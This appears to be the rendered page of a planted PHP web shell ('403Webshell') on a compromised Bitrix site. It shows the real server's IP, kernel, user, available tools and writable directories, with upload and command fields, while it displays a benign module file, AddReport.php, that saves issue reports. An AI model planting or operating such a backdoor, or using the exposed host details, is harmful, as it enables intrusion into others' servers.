403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Issues/Action/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/letme.watchman/lib/Issues/Action/AddReport.php
<?php

namespace Letme\Watchman\Issues\Action;

use Bitrix\Main\Type\DateTime;
use Letme\Watchman\Drivers\IReport;
use Letme\Watchman\Issues\Model\Issue;
use Letme\Watchman\Issues\Model\IssueTable;

class AddReport
{
    /**
     * Если отчет был добавлен, то вернет 1, если обновлен, то 0;
     *
     * @param IReport $report
     * @return AddReportResult
     *
     * @throws \Bitrix\Main\ArgumentException
     * @throws \Bitrix\Main\ObjectPropertyException
     * @throws \Bitrix\Main\SystemException
     */
    public function execute(IReport $report) {
        $issue = Issue::makeByReport($report);

        if ($issueExist = IssueTable::getList(
            [
                'filter' => [
                    'id' => $issue->getId(),
                ]
            ]
        )->fetchObject()
        ) {
            $issueExist->setCounter($issueExist->getCounter() + 1);
            $issueExist->setLastUpdate(new DateTime());
            $issueExist->save();

            return new AddReportResult($issueExist, false);
        }

        $issue->save();
        return new AddReportResult($issue, true);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit